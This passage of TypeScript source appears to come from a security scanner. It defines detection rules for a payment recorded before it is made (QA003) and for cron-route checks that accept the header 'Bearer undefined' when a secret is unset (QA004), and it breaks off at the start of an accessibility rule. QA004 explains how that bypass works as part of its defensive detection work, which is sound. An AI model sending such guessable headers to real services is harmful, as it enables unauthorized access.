*/\n/*\n * Two bugs lived in the first spelling of this, and both made the rule flag\n * the fix:\n *\n * 1. It knew `updated_at <`, `NOW() - INTERVAL` and `Date.now() -`, but not\n * `datetime('now', '-10 minutes')` — which is the SQLite/libSQL idiom,\n * used 59 times in packages/web alone. So XploitScan's own outbox code\n * tripped its own rule.\n * 2. The whole alternation was wrapped in `\\b(?:…)\\b`, and the trailing\n * `\\b` sat after `now\\s*\\(\\s*\\)`. A word boundary after `)` needs a\n * word character next, so `NOW()` matched only when something was glued\n * to it — `NOW() - INTERVAL` passed on `interval`, and a bare\n * `reaped_at < NOW()` missed entirely.\n *\n * Split into per-alternative boundaries so a token ending in punctuation\n * cannot be silently disabled by a boundary that belongs to a word token.\n */\nconst STALENESS =\n /\\b(?:lt|lte|gt|gte|older|stale|timeout|timedout|retry|retries|attempt|attempts|updated_?at|created_?at|processed_?at|last_?\\w+|since|interval|current_?timestamp)\\b|\\bDate\\.now\\b|\\bnow\\s*\\(|\\bdate(?:time)?\\s*\\(|\\bdate_?sub\\s*\\(|['\"`]\\s*now\\s*['\"`]/i;\n\nconst READ_VERB = /\\b(?:select|from|find\\w*|query|scan|rows|fetchAll|getAll|list)\\b/i;\n\nfunction repoReselects(\n files: QualityFile[],\n originPath: string,\n originIndex: number,\n table: string,\n value: string,\n): boolean {\n const tableToken = table.replace(/[\"'`]/g, \"\");\n if (tableToken.length < 3) return false;\n const valueToken = normValue(value);\n if (!valueToken || valueToken.length < 2) return false;\n const tableRe = new RegExp(`\\\\b${escapeRe(tableToken)}s?\\\\b`, \"gi\");\n const valueRe = new RegExp(`\\\\b${escapeRe(valueToken)}\\\\b`, \"i\");\n\n for (const f of files) {\n if (f.excluded) continue;\n for (const m of f.code.matchAll(tableRe)) {\n const at = m.index ?? 0;\n // The transition itself is not a reconciler.\n if (f.path === originPath && at > originIndex - 200 && at < originIndex + 400) continue;\n const window = f.code.slice(Math.max(0, at - 200), at + 400);\n if (!READ_VERB.test(window)) continue;\n if (!valueRe.test(window)) continue;\n if (!STALENESS.test(window)) continue;\n return true;\n }\n }\n return false;\n}\n\nfunction escapeRe(s: string): string {\n return s.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\");\n}\n\n/* ------------------------------------------------------------------ */\n\nexport const stateBeforeEffect: QualityRule = {\n id: \"QA003\",\n title: \"A record is written before the payment it stands for\",\n severity: \"high\",\n category: \"Correctness\",\n description:\n \"This handler moves a row out of its pending state and only then makes the payment or entitlement grant that the row stands for, with the failure swallowed. If the transfer fails the record still reads as settled, the money never moved, and nothing will look at that row again because it no longer matches the pending query.\",\n fix: \"Make the transfer first and record it after, or make the transfer replayable: pass an idempotency key, keep the row pending until the transfer confirms, or write an outbox row that a reconciler retries.\",\n precisionNotes:\n \"Four gates, all required. (1) The effect must be a billing/entitlement mutation — Stripe/Paddle/Chargebee/Lemon Squeezy money movement or a local credits/quota/plan grant. Email, push, webhooks, analytics, revalidation, audit logs, search and CRM sync, and bare fetch() are excluded on purpose and must not be added back. (2) The preceding write must CONSUME eligibility: a read with a pending-ish predicate on a table/column, then a write moving that same column out of it — a plain INSERT of the subject does not qualify. (3) The catch covering the effect must be terminal: no rethrow, no non-2xx, no revert of the column, no enqueue. An effect with no catch at all is not reported — the error is loud. (4) Suppressed by an idempotency key, by a transaction whose handler rethrows, or by ANY file in the repo re-selecting the transitioned value with a staleness predicate (the outbox pattern).\",\n check(ctx) {\n const hits: QualityHit[] = [];\n\n for (const file of ctx.files) {\n if (file.excluded) continue;\n // Every clause is a question about position inside a function, so an\n // unparseable file gets no answer rather than a guessed one.\n const shape = shapeOf(file);\n if (!shape) continue;\n\n const src = file.code;\n const wholeFile: Span = { start: 0, end: src.length };\n\n // Clause 1, half two: a local grant of paid entitlement, which has no\n // call node to match — it is a DB write whose payload sets credits,\n // quota or plan. Collected here so both halves feed one pipeline.\n const allWrites = collectWrites(src);\n const localGrants = allWrites.filter(\n (w) =>\n (w.kind === \"update\" && ENTITLEMENT_COLUMN.test(normColumn(w.column))) ||\n (w.kind === \"insert\" && ENTITLEMENT_TABLE.test(normTable(w.table))),\n );\n\n const effects: { index: number; span: Span; label: string }[] = [\n ...shape.effects.map((e) => ({ index: e.span.start, span: e.span, label: e.label })),\n ...localGrants.map((w) => ({\n index: w.index,\n span: { start: w.index, end: w.index + 200 },\n label: `${w.table}.${w.column}`,\n })),\n ];\n if (effects.length === 0) continue;\n\n // One finding per handler: a handler that pays two ways has one bug.\n const reported = new Set<number>();\n\n for (const effect of effects) {\n const handler = handlerSpan(shape, effect.index, wholeFile);\n if (reported.has(handler.start)) continue;\n\n const body = src.slice(handler.start, handler.end);\n const base = handler.start;\n\n // ---- Clause 2: an eligibility-consuming transition, before it. ----\n const reads = collectPendingReads(body).map((r) => ({ ...r, index: r.index + base }));\n const writes = collectWrites(body).map((w) => ({ ...w, index: w.index + base }));\n\n let transition: WriteRecord | null = null;\n let consumed: Predicate | null = null;\n\n for (const write of writes) {\n if (write.index >= effect.index) continue;\n if (write.kind !== \"update\") continue;\n if (isPending(write.value)) continue; // still pending: nothing consumed\n if (write.index === effect.index) continue; // the grant is not its own transition\n\n // The ordinary shape: a SELECT … WHERE status = 'pending' earlier in\n // the same handler, then this UPDATE moving that column out of it.\n const read = reads.find(\n (r) =>\n r.index < write.index &&\n normTable(r.table) === normTable(write.table) &&\n normColumn(r.column) === normColumn(write.column) &&\n normValue(r.value) !== normValue(write.value),\n );\n if (read) {\n transition = write;\n consumed = read;\n break;\n }\n\n // The compare-and-set shape: the pending predicate is the WHERE of\n // the transition itself (`UPDATE … SET status='converted' WHERE\n // status='pending'`). Same consumption, one statement.\n const cas = [...sqlPredicates(write.trailing), ...builderPredicates(write.trailing)].find(\n (p) => normColumn(p.column) === normColumn(write.column) && isPending(p.value),\n );\n if (cas) {\n transition = write;\n consumed = { table: write.table, column: cas.column, value: cas.value, index: write.index };\n break;\n }\n }\n if (!transition || !consumed) continue;\n\n // A local grant must not be the transition write itself.\n if (transition.index === effect.index) continue;\n\n // ---- Clause 3: the catch covering the effect must be terminal. ----\n const catchBody = catchCovering(shape, effect.index);\n // No catch at all means the failure leaves the handler. Loud, not\n // silent — and the same exemption the rethrow clause grants.\n if (!catchBody) continue;\n const catchText = src.slice(catchBody.start, catchBody.end);\n if (/\\bthrow\\b/.test(catchText)) continue;\n if (NON_2XX.test(catchText)) continue;\n if (ENQUEUES.test(catchText)) continue;\n // A catch that writes the same table back is reverting the transition.\n const revertRe = new RegExp(`\\\\b${escapeRe(transition.table.replace(/[\"'`]/g, \"\"))}s?\\\\b`, \"i\");\n if (revertRe.test(catchText) && /\\b(?:update|set|revert|rollback|restore)\\b/i.test(catchText)) {\n continue;\n }\n\n // ---- Clause 4: exonerate on visible retry. ----\n const effectText = src.slice(effect.span.start, Math.min(src.length, effect.span.end));\n if (/idempotency[_-]?key/i.test(effectText)) continue;\n // A transaction whose handler rethrows rolls the transition back with\n // the effect; the throw may sit outside the catch we just examined.\n if (insideTransaction(shape, effect.index) && /\\bthrow\\b/.test(body)) continue;\n if (\n repoReselects(ctx.files, file.path, transition.index, transition.table, transition.value)\n ) {\n continue;\n }\n\n reported.add(handler.start);\n const columnLabel = `${transition.table.replace(/[\"'`]/g, \"\")}.${transition.column.replace(/[\"'`]/g, \"\")}`;\n hits.push({\n file: file.path,\n line: lineAt(file.content, effect.index),\n detail:\n `\\`${columnLabel}\\` is moved out of \\`${normValue(consumed.value)}\\` on line ` +\n `${lineAt(file.content, transition.index)}, and only then does \\`${effect.label}\\` run — ` +\n `with its failure caught and swallowed. If the transfer fails, the row says it was paid, ` +\n `the money never moved, and the pending query will never select that row again.`,\n });\n }\n }\n\n return hits;\n },\n};\n","import type { Node, TemplateLiteral } from \"@babel/types\";\nimport { visitBinary } from \"../../ast/index.js\";\nimport { isInlineSilenced } from \"../../silencing.js\";\nimport { lineAt } from \"../context.js\";\nimport type { QualityFile, QualityHit, QualityRule } from \"../types.js\";\n\n/**\n * QA004 — a secret comparison that authenticates \"Bearer undefined\".\n *\n * The handler compares an incoming header against a secret it INTERPOLATES:\n *\n * if (req.headers.get(\"authorization\") !== `Bearer ${process.env.CRON_SECRET}`)\n *\n * With the variable unset, the right-hand side is not \"unset\" — it is the\n * eight-character string \"Bearer undefined\", and anyone who sends that header\n * is now authorised. This repo shipped that exact line in six cron routes; the\n * routes send email and delete rows. A preview deployment, a new environment,\n * a renamed variable, and the door is open with a password an attacker can\n * guess from the framework docs.\n *\n * This is the narrow rule the adversarial review let through — the broad\n * \"unauthenticated scheduled route\" shape it was cut from did not survive.\n * Every clause below was bought with a false positive; removing one brings its\n * class back:\n *\n * interpolation only `header !== process.env.X` (no template, no concat)\n * compares null to undefined and correctly denies. Only\n * the coercion to a guessable literal is the defect.\n * secret-shaped name *_SECRET / *_TOKEN / *_KEY. `process.env.NODE_ENV`\n * and `process.env.VERCEL_URL` are interpolated into\n * strings constantly and authenticate nothing.\n * header-derived side the other operand must come from an inbound request\n * header. That is what makes it a handler, and it is\n * stronger evidence than any path heuristic — an\n * Express file at `src/routes/admin.js` is a server too.\n * no fail-closed check anywhere in the file: `if (!secret) return 401`,\n * `assertEnv(...)`, a zod/envalid schema, or a\n * `?? throwOnMissing()` default. A guarded comparison\n * is correct code and this rule's claim about it would\n * be false.\n * no literal default `process.env.X ?? \"dev-secret\"` is a hardcoded\n * fallback credential — a real problem, a DIFFERENT\n * problem, and it does not authenticate \"undefined\".\n * not a webhook path signature verification against a provider secret is\n * VC062/VC209's job; re-including those paths re-opens\n * false positives this codebase already paid to close\n * and double-reports the ones it does catch.\n *\n * AST, not regex. The unit is a BinaryExpression whose operand subtrees have\n * to be inspected, and the fail-closed check that exonerates it can be an `if`\n * two hundred lines above the comparison, on an alias of the variable. A\n * character window cannot see either.\n */\n\n/* ------------------------------------------------------------------ *\n * A generic walk.\n *\n * `visitBinary` covers the comparison scan below, but the alias and guard\n * passes need VariableDeclarator / IfStatement / LogicalExpression, which no\n * exported helper covers. Babel ASTs from the parser have no parent pointers,\n * so a plain recursive descent is safe; `extra` and the comment arrays are\n * skipped because they re-enter nodes we have already seen.\n * ------------------------------------------------------------------ */\nconst SKIP_KEYS = new Set([\n \"loc\",\n \"extra\",\n \"comments\",\n \"tokens\",\n \"leadingComments\",\n \"trailingComments\",\n \"innerComments\",\n]);\n\nfunction walk(node: unknown, visit: (n: Node) => void): void {\n if (!node || typeof node !== \"object\") return;\n if (Array.isArray(node)) {\n for (const child of node) walk(child, visit);\n return;\n }\n const record = node as Record<string, unknown>;\n if (typeof record.type === \"string\") visit(node as Node);\n for (const key of Object.keys(record)) {\n if (SKIP_KEYS.has(key)) continue;\n walk(record[key], visit);\n }\n}\n\n/** Does this subtree contain a node of any of these types? */\nfunction containsType(root: Node, types: string[]): boolean {\n let found = false;\n walk(root, (n) => {\n if (types.includes(n.type)) found = true;\n });\n return found;\n}\n\n/* ------------------------------------------------------------------ *\n * Reading an environment variable.\n * ------------------------------------------------------------------ */\n\n/**\n * `process.env.X`, `process.env[\"X\"]`, `Deno.env.get(\"X\")` → \"X\".\n *\n * Deno is not an afterthought: across the corpus, App Router route handlers\n * are a rounding error next to Supabase edge functions, and an edge function\n * spells this `Deno.env.get(\"CRON_SECRET\")`. The coercion bug is identical —\n * `Deno.env.get` returns `string | undefined` too.\n */\nfunction envVarName(node: Node | null | undefined): string | null {\n if (!node) return null;\n\n if (node.type === \"MemberExpression\" || node.type === \"OptionalMemberExpression\") {\n const owner = node.object;\n if (\n (owner.type === \"MemberExpression\" || owner.type === \"OptionalMemberExpression\") &&\n owner.object.type === \"Identifier\" &&\n owner.object.name === \"process\" &&\n owner.property.type === \"Identifier\" &&\n owner.property.name === \"env\"\n ) {\n if (!node.computed && node.property.type === \"Identifier\") return node.property.name;\n if (node.property.type === \"StringLiteral\") return node.property.value;\n }\n return null;\n }\n\n if (node.type === \"CallExpression\" || node.type === \"OptionalCallExpression\") {\n const callee = node.callee;\n if (\n (callee.type === \"MemberExpression\" || callee.type === \"OptionalMemberExpression\") &&\n callee.property.type === \"Identifier\" &&\n callee.property.name === \"get\"\n ) {\n const owner = callee.object;\n if (\n (owner.type === \"MemberExpression\" || owner.type === \"OptionalMemberExpression\") &&\n owner.object.type === \"Identifier\" &&\n (owner.object.name === \"Deno\" || owner.object.name === \"process\") &&\n owner.property.type === \"Identifier\" &&\n owner.property.name === \"env\"\n ) {\n const arg = node.arguments[0];\n if (arg && arg.type === \"StringLiteral\") return arg.value;\n }\n }\n }\n return null;\n}\n\n/**\n * Is this variable name secret-shaped?\n *\n * The spec generalises past CRON_SECRET on purpose — the same three lines get\n * copied into internal-API and admin routes with the variable renamed. Two\n * regexes rather than one because `/(?:^|_|[a-z0-9])KEY$/i` matches MONKEY:\n * the `i` flag makes `[a-z0-9]` match uppercase too, so the camelCase arm has\n * to stay case-sensitive.\n */\nfunction isSecretName(name: string): boolean {\n if (/(?:^|_)(?:secret|token|key|apikey)s?$/i.test(name)) return true;\n return /[a-z0-9](?:Secret|Token|Key|ApiKey)s?$/.test(name);\n}\n\n/* ------------------------------------------------------------------ *\n * Per-file facts: aliases, guards, literal defaults.\n * ------------------------------------------------------------------ */\ninterface FileFacts {\n /** local identifier → the env var name it was bound from. */\n envAlias: Map<string, string>;\n /** local identifiers holding an inbound request header value. */\n headerAlias: Set<string>;\n /** env vars with a fail-closed check somewhere in the file. */\n guarded: Set<string>;\n /** env vars given a non-throwing fallback — a different defect, not this one. */\n defaulted: Set<string>;\n}\n\n/** The env var this expression refers to, directly or through an alias. */\nfunction refName(node: Node | null | undefined, facts: FileFacts): string | null {\n if (!node) return null;\n const direct = envVarName(node);\n if (direct) return direct;\n if (node.type === \"Identifier\") return facts.envAlias.get(node.name) ?? null;\n return null;\n}\n\n/**\n * The env var at the base of a member/call chain — `secret.length`,\n * `secret?.trim()`, `process.env.X?.length`. Guards are written against the\n * value's shape as often as against the value.\n */\nfunction baseRefName(node: Node | null | undefined, facts: FileFacts): string | null {\n let current: Node | null | undefined = node;\n for (let depth = 0; current && depth < 6; depth++) {\n const direct = refName(current, facts);\n if (direct) return direct;\n if (current.type === \"MemberExpression\" || current.type === \"OptionalMemberExpression\") {\n current = current.object;\n } else if (current.type === \"CallExpression\" || current.type === \"OptionalCallExpression\") {\n current = current.callee;\n } else {\n return null;\n }\n }\n return null;\n}\n\n/** Flatten a top-level `&&` / `||` / `??` chain into its operands. */\nfunction logicalOperands(node: Node): Node[] {\n if (node.type === \"LogicalExpression\") {\n return [...logicalOperands(node.left), ...logicalOperands(node.right)];\n }\n return [node];\n}\n\nconst EQUALITY = new Set([\"===\", \"!==\", \"==\", \"!=\"]);\n\n/** `undefined`, `null`, `\"\"`, `0` — the things a missing secret compares equal to. */\nfunction isNullishLiteral(node: Node): boolean {\n if (node.type === \"Identifier\") return node.name === \"undefined\";\n if (node.type === \"NullLiteral\") return true;\n if (node.type === \"StringLiteral\") return node.value === \"\";\n if (node.type === \"NumericLiteral\") return node.value === 0;\n return false;\n}\n\n/**\n * Is this operand a check that the secret is MISSING?\n *\n * This is the clause that decides whether the rule works at all. \"The `if`\n * test mentions the secret\" is not usable — the defect itself is an `if` test\n * that mentions the secret. Only a truthiness / nullish / typeof check on the\n * variable counts, which is what separates\n *\n * if (!secret || auth !== `Bearer ${secret}`) return 401; // correct\n * if (auth !== `Bearer ${secret}`) return 401; // the defect\n *\n * and those two lines differ by six characters.\n */\nfunction isMissingCheck(operand: Node, name: string, facts: FileFacts): boolean {\n if (operand.type === \"UnaryExpression\" && operand.operator === \"!\") {\n if (baseRefName(operand.argument, facts) === name) return true;\n return isMissingCheck(operand.argument, name, facts);\n }\n\n if (operand.type === \"BinaryExpression\" && EQUALITY.has(operand.operator)) {\n const left = operand.left as Node;\n const right = operand.right;\n // `typeof secret !== \"string\"`\n const typeofSide = (a: Node, b: Node) =>\n a.type === \"UnaryExpression\" &&\n a.operator === \"typeof\" &&\n baseRefName(a.argument, facts) === name &&\n b.type === \"StringLiteral\";\n if (typeofSide(left, right) || typeofSide(right, left)) return true;\n if (baseRefName(left, facts) === name && isNullishLiteral(right)) return true;\n if (baseRefName(right, facts) === name && isNullishLiteral(left)) return true;\n return false;\n }\n\n return false;\n}\n\n/**\n * Does this `if` test fail closed on `name`?\n *\n * A bare reference counts as a top-level operand only — `if (secret)` and\n * `if (secret && ...)` gate on the variable existing. Nested references do\n * NOT, or the defect's own `if (auth !== \\`Bearer ${secret}\\`)` would exonerate\n * itself: the secret is in there, just not as a condition.\n */\nfunction failsClosedOn(test: Node, name: string, facts: FileFacts): boolean {\n for (const operand of logicalOperands(test)) {\n if (isMissingCheck(operand, name, facts)) return true;\n if (refName(operand, facts) === name) return true;\n }\n return false;\n}\n\n/**\n * `assertEnv(\"CRON_SECRET\")`, `invariant(process.env.X, ...)`,\n * `validateEnv()`.\n *\n * Accepted either when an argument names the variable, or when the callee\n * itself is an env-assertion by name. The second arm is deliberately blunt: a\n * file that calls `assertEnv()` with no arguments is a file whose author has\n * thought about missing configuration, and suppressing there costs less than\n * calling their code broken.\n */\nconst ASSERT_CALLEE = /^(?:assert|invariant|ensure|require|required|must|validate|verify|guard|check)/i;\nconst ENV_ASSERT_CALLEE = /(?:env|secret|token|key|config|settings|vars?)/i;\n\nfunction calleeName(node: Node): string | null {\n if (node.type === \"Identifier\") return node.name;\n if (\n (node.type === \"MemberExpression\" || node.type === \"OptionalMemberExpression\") &&\n node.property.type === \"Identifier\"\n ) {\n return node.property.name;\n }\n return null;\n}\n\n/**\n * A fallback that THROWS is a guard; a fallback that returns a value is not.\n * `process.env.X ?? requireEnv(\"X\")` fails closed. `process.env.X ?? \"dev\"`\n * fails open onto a hardcoded credential, which is a different finding and\n * must not be reported with this rule's wording.\n */\nfunction isThrowingFallback(node: Node): boolean {\n if (node.type === \"CallExpression\" || node.type === \"OptionalCallExpression\") return true;\n if (node.type === \"NewExpression\") return true;\n if (node.type === \"ArrowFunctionExpression\" || node.type === \"FunctionExpression\") {\n return containsType(node.body as Node, [\"ThrowStatement\"]);\n }\n return containsType(node, [\"ThrowStatement\"]);\n}\n\n/**\n * A zod / envalid / t3-env schema that validates `process.env` at import time\n * throws before any handler runs, so a raw `process.env.X` read below it can\n * never be undefined. Requires the variable to actually appear as a schema\n * key — a schema for three other variables exonerates nothing.\n */\nconst ENV_SCHEMA_CALL =\n /(?:safeParse|parse)\\s*\\(\\s*(?:process\\s*\\.\\s*env|Deno\\s*\\.\\s*env\\s*\\.\\s*toObject\\s*\\(\\s*\\))|\\b(?:cleanEnv|createEnv|envsafe)\\s*\\(/;\n\nfunction hasEnvSchemaFor(code: string, name: string): boolean {\n if (!ENV_SCHEMA_CALL.test(code)) return false;\n return new RegExp(`(?:^|[^\\\\w.])${name}\\\\s*:`, \"m\").test(code);\n}\n\n/** Does this expression read an inbound HTTP request header? */\nfunction readsRequestHeader(node: Node, facts: FileFacts): boolean {\n let found = false;\n walk(node, (n) => {\n if (found) return;\n // `req.headers.get(...)`, `req.headers.authorization`, `event.headers[\"x\"]`\n if (n.type === \"Identifier\" && n.name === \"headers\") found = true;\n // Hono `c.req.header(\"authorization\")`, Node `req.getHeader(\"x\")`\n if (n.type === \"CallExpression\" || n.type === \"OptionalCallExpression\") {\n const name = calleeName(n.callee as Node);\n if (name === \"header\" || name === \"getHeader\" || name === \"headers\") found = true;\n }\n // `const authHeader = req.headers.get(\"authorization\")` used further down.\n if (n.type === \"Identifier\" && facts.headerAlias.has(n.name)) found = true;\n });\n return found;\n}\n\n/**\n * Collect aliases first, then guards — the guard pass has to be able to see\n * that `secret` in `if (!secret)` is `process.env.CRON_SECRET`.\n */\nfunction collectFacts(file: QualityFile): FileFacts {\n const facts: FileFacts = {\n envAlias: new Map(),\n headerAlias: new Set(),\n guarded: new Set(),\n defaulted: new Set(),\n };\n const ast = file.parsed?.ast;\n if (!ast) return facts;\n\n walk(ast, (n) => {\n if (n.type !== \"VariableDeclarator\" || !n.init) return;\n const init = n.init;\n\n // `const secret = process.env.CRON_SECRET` (possibly with a fallback).\n let source: Node = init;\n let fallback: Node | null = null;\n if (init.type === \"LogicalExpression\" && (init.operator === \"??\" || init.operator === \"||\")) {\n source = init.left;\n fallback = init.right;\n }\n if (source.type === \"TSNonNullExpression\") source = source.expression;\n\n const envName = envVarName(source);\n if (envName && n.id.type === \"Identifier\") {\n facts.envAlias.set(n.id.name, envName);\n }\n if (envName && fallback) {\n if (isThrowingFallback(fallback)) facts.guarded.add(envName);\n else facts.defaulted.add(envName);\n }\n\n // `const secret = requireEnv(\"CRON_SECRET\")` — alias AND guard in one.\n if (\n (init.type === \"CallExpression\" || init.type === \"OptionalCallExpression\") &&\n !envName\n ) {\n const name = calleeName(init.callee as Node);\n if (name && ASSERT_CALLEE.test(name)) {\n const arg = init.arguments[0];\n if (arg && arg.type === \"StringLiteral\") {\n facts.guarded.add(arg.value);\n if (n.id.type === \"Identifier\") facts.envAlias.set(n.id.name, arg.value);\n } else if (name && ENV_ASSERT_CALLEE.test(name) && n.id.type === \"Identifier\") {\n // `const secret = assertEnv(process.env.CRON_SECRET)`\n const inner = arg ? envVarName(arg as Node) : null;\n if (inner) {\n facts.guarded.add(inner);\n facts.envAlias.set(n.id.name, inner);\n }\n }\n }\n }\n\n // Header aliases, including the destructured spelling.\n if (n.id.type === \"Identifier\" && readsRequestHeader(init, facts)) {\n facts.headerAlias.add(n.id.name);\n }\n if (n.id.type === \"ObjectPattern\" && readsRequestHeader(init, facts)) {\n for (const prop of n.id.properties) {\n if (prop.type === \"ObjectProperty\" && prop.value.type === \"Identifier\") {\n facts.headerAlias.add(prop.value.name);\n }\n }\n }\n });\n\n // Second pass: guards, now that aliases resolve.\n const names = new Set<string>([...facts.envAlias.values()]);\n walk(ast, (n) => {\n if (n.type === \"MemberExpression\" || n.type === \"CallExpression\") {\n const direct = envVarName(n);\n if (direct) names.add(direct);\n }\n });\n\n walk(ast, (n) => {\n if (n.type === \"IfStatement\") {\n for (const name of names) {\n if (facts.guarded.has(name)) continue;\n if (!failsClosedOn(n.test, name, facts)) continue;\n // A guard that neither returns nor throws is a log line, not a guard.\n if (containsType(n, [\"ReturnStatement\", \"ThrowStatement\"])) facts.guarded.add(name);\n }\n return;\n }\n\n if (n.type === \"LogicalExpression\" && (n.operator === \"??\" || n.operator === \"||\")) {\n const name = refName(n.left, facts);\n if (name) {\n if (isThrowingFallback(n.right)) facts.guarded.add(name);\n else facts.defaulted.add(name);\n }\n return;\n }\n\n if (n.type === \"CallExpression\" || n.type === \"OptionalCallExpression\") {\n const name = calleeName(n.callee as Node);\n if (!name || !ASSERT_CALLEE.test(name)) return;\n const argNames = new Set<string>();\n for (const arg of n.arguments) {\n if (arg.type === \"StringLiteral\") argNames.add(arg.value);\n const viaEnv = refName(arg as Node, facts);\n if (viaEnv) argNames.add(viaEnv);\n }\n if (argNames.size > 0) {\n for (const candidate of argNames) {\n if (names.has(candidate) || isSecretName(candidate)) facts.guarded.add(candidate);\n }\n } else if (ENV_ASSERT_CALLEE.test(name)) {\n // `validateEnv()` / `assertConfig()` — blanket, and deliberately so.\n for (const name2 of names) facts.guarded.add(name2);\n }\n }\n });\n\n for (const name of names) {\n if (hasEnvSchemaFor(file.code, name)) facts.guarded.add(name);\n }\n\n return facts;\n}\n\n/* ------------------------------------------------------------------ *\n * The interpolated secret.\n * ------------------------------------------------------------------ */\ninterface SecretSide {\n /** The env var whose absence opens the door. */\n name: string;\n /** What the comparison actually authenticates, when it can be computed. */\n literal: string | null;\n}\n\n/**\n * Rebuild the string the comparison really tests against, substituting the\n * runtime coercion of a missing variable.\n *\n * Only returned when EVERY interpolation is an env read: if one hole is filled\n * from the request, the literal is unknowable and the finding says so rather\n * than inventing a value. Product copy is a claim — the detail line here is\n * product copy.\n */\nfunction templateAsMissing(tpl: TemplateLiteral, facts: FileFacts): string | null {\n for (const expr of tpl.expressions) {\n if (!refName(expr as Node, facts)) return null;\n }\n let out = \"\";\n tpl.quasis.forEach((quasi, i) => {\n out += quasi.value.cooked ?? quasi.value.raw;\n if (i < tpl.expressions.length) out += \"undefined\";\n });\n return out;\n}\n\n/** Flatten `\"Bearer \" + process.env.X` into its operands. */\nfunction concatOperands(node: Node): Node[] {\n if (node.type === \"BinaryExpression\" && node.operator === \"+\") {\n return [...concatOperands(node.left as Node), ...concatOperands(node.right)];\n }\n return [node];\n}\n\n/**\n * Is this operand a secret interpolated into a string?\n *\n * INTERPOLATION IS THE WHOLE DEFECT. `header !== process.env.SECRET` compares\n * `null` (what `headers.get` returns when absent) against `undefined` and\n * denies correctly; it is the template literal — or the `+` concatenation,\n * which is the same coercion typed differently — that manufactures a\n * guessable password out of a missing variable.\n */\nfunction interpolatedSecret(node: Node, facts: FileFacts): SecretSide | null {\n if (node.type === \"TemplateLiteral\") {\n if (node.expressions.length === 0) return null;\n for (const expr of node.expressions) {\n const name = refName(expr as Node, facts);\n if (name && isSecretName(name)) {\n return { name, literal: templateAsMissing(node, facts) };\n }\n }\n return null;\n }\n\n if (node.type === \"BinaryExpression\" && node.operator === \"+\") {\n const operands = concatOperands(node);\n if (!operands.some((o) => o.type === \"StringLiteral\" || o.type === \"TemplateLiteral\")) {\n return null;\n }\n for (const operand of operands) {\n const name = refName(operand, facts);\n if (!name || !isSecretName(name)) continue;\n let literal = \"\";\n let computable = true;\n for (const o of operands) {\n if (o.type === \"StringLiteral\") literal += o.value;\n else if (refName(o, facts)) literal += \"undefined\";\n else computable = false;\n }\n return { name, literal: computable ? literal : null };\n }\n }\n\n return null;\n}\n\n/**\n * Signature verification against a provider secret lives in VC062/VC209,\n * which are already calibrated. Re-including these paths re-opens false\n * positives this codebase paid to close, and double-reports the rest.\n */\nconst WEBHOOK_PATH = /webhook/i;\n\nexport const failOpenSecretComparison: QualityRule = {\n id: \"QA004\",\n title: 'A secret comparison that authenticates \"Bearer undefined\"',\n severity: \"high\",\n category: \"Authentication\",\n description:\n \"This handler checks its authorization header against a secret interpolated into a string, and nothing in the file refuses to run when that variable is missing. With the variable unset the check compares against the literal text \\\"Bearer undefined\\\", so anyone who sends exactly that header is authorized — in a new environment, a preview deployment, or after the variable is renamed.\",\n fix: \"Read the secret into a variable and refuse the request when it is missing — `const secret = process.env.CRON_SECRET; if (!secret) return new Response(\\\"Unauthorized\\\", { status: 401 });` — before comparing. An environment with no secret configured can authorize nothing.\",\n precisionNotes:\n \"Fires only on an equality comparison between an inbound request header and an env secret INTERPOLATED into a string (template literal or `+` concatenation) whose name is *_SECRET / *_TOKEN / *_KEY, where no fail-closed check on that same variable — `if (!x) return/throw`, an assertEnv-style call, a zod/envalid schema over process.env, or a throwing `??` fallback — appears anywhere in the file, and where the variable has no literal fallback (that is a hardcoded-credential finding, not this one). Webhook paths are left to VC062/VC209. Each clause removes a class of correct code: bare non-interpolated compares, non-secret env vars, guarded handlers, validated-env projects.\",\n check(ctx) {\n const hits: QualityHit[] = [];\n\n for (const file of ctx.files) {\n if (file.excluded) continue;\n if (WEBHOOK_PATH.test(file.path)) continue;\n const parsed = file.parsed;\n // No AST, no finding. This shape is decided by the structure of two\n // operand subtrees and by an `if` that may sit anywhere in the file;\n // guessing from a character window is how the FP rate goes.\n if (!parsed) continue;\n\n const facts = collectFacts(file);\n const reported = new Set<number>();\n\n visitBinary(parsed, (node) => {\n if (!EQUALITY.has(node.operator)) return;\n const left = node.left as Node;\n const right = node.right as Node;\n\n const secret =\n interpolatedSecret(right, facts) ?? interpolatedSecret(left, facts);\n if (!secret) return;\n if (!isSecretName(secret.name)) return;\n\n // Exonerated: the file refuses to run without the variable.\n if (facts.guarded.has(secret.name)) return;\n // A literal fallback is a different defect with a different sentence.\n if (facts.defaulted.has(secret.name)) return;\n\n // The other operand has to be the incoming request's header — that is\n // what makes this an authentication decision rather than a string test.\n const other = interpolatedSecret(right, facts) ? left : right;\n if (!readsRequestHeader(other, facts)) return;\n\n const line = node.loc?.start.line ?? 1;\n if (reported.has(line)) return;\n\n // `// QA004-OK: <reason>` — some findings are \"I have reviewed this\n // and accept it here\", and loosening the rule for one site weakens it\n // for everyone.\n const offset = node.start ?? 0;\n if (isInlineSilenced(file.content, offset, \"QA004\")) return;\n\n reported.add(line);\n hits.push({\n file: file.path,\n line,\n detail: secret.literal\n ? `With ${secret.name} unset, this comparison authorizes the literal header value \"${secret.literal}\" — an attacker can send exactly that. Nothing in this file refuses to run when the variable is missing.`\n : `With ${secret.name} unset, this comparison interpolates the missing value into a guessable literal and authorizes anyone who sends it. Nothing in this file refuses to run when the variable is missing.`,\n });\n });\n }\n\n return hits;\n },\n};\n","import type {\n ArrowFunctionExpression,\n FunctionDeclaration,\n FunctionExpression,\n JSXAttribute,\n JSXElement,\n JSXOpeningElement,\n Node,\n} from \"@babel/types\";\nimport type { QualityHit, QualityRule } from \"../types.js\";\nimport { lineAt } from \"../context.js\";\n\n/**\n * QA005 — a control only a mouse can reach.\n *\n * `<div onClick={deleteAccount}>` renders, looks like a button, and works for\n * everyone holding a mouse. It is unreachable by Tab, invisible to a screen\n * reader, and dead to voice control and switch access. The generator that\n * wrote it had no reason to emit a `<button>`: a div takes the styling with\n * less fighting, and nothing in the preview shows what was lost.\n *\n * THIS IS AN AST RULE, NOT A REGEX RULE, and the reason is the naive trigger\n * itself. \"Has onClick but no role/tabIndex/onKey*\" has to be answered about\n * ONE element — a regex window over a JSX file answers it about whatever\n * happens to sit within N characters, and a keyboard handler on the parent\n * silences a defect on the child (or the reverse). Attributes, subtrees and\n * parents are structure, so the check reads structure.\n *\n * Every gate below came out of an adversarial review that hunted for correct\n * code the naive version accused. Each one names the pattern it protects, and\n * removing it brings that 